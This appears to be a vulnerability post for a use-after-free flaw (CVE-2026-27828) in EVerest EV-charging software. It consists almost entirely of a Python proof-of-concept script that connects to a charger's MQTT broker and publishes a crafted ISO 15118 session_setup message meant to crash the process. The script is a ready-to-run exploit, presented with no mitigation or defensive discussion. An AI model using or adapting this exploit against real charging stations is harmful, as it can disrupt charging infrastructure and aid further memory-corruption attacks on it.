CVE-2026-27828 EVerest释放后重用漏洞

import paho.mqtt.client as mqtt import json import time # Target configuration BROKER = "evse-target.local" PORT = 1883 TOPIC = "iso15118/charger/cmd/session_setup" # Example topic structure def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to MQTT Broker") else: print(f"[-] Connection failed with code {rc}") def exploit(): client = mqtt.Client() client.on_connect = on_connect try: client.connect(BROKER, PORT, 60) client.loop_start() time.sleep(1) # Wait for connection # Construct malicious payload # Triggering the UAF requires sending session_setup when v2g_ctx is freed. # This typically happens after ISO15118 init failure. payload = { "id": "poc_exploit", "evcc_id": "sensor/poc" } print(f"[*] Sending payload to {TOPIC}") client.publish(TOPIC, json.dumps(payload)) print("[+] Payload sent. Check if the process crashed.") client.loop_stop() client.disconnect() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()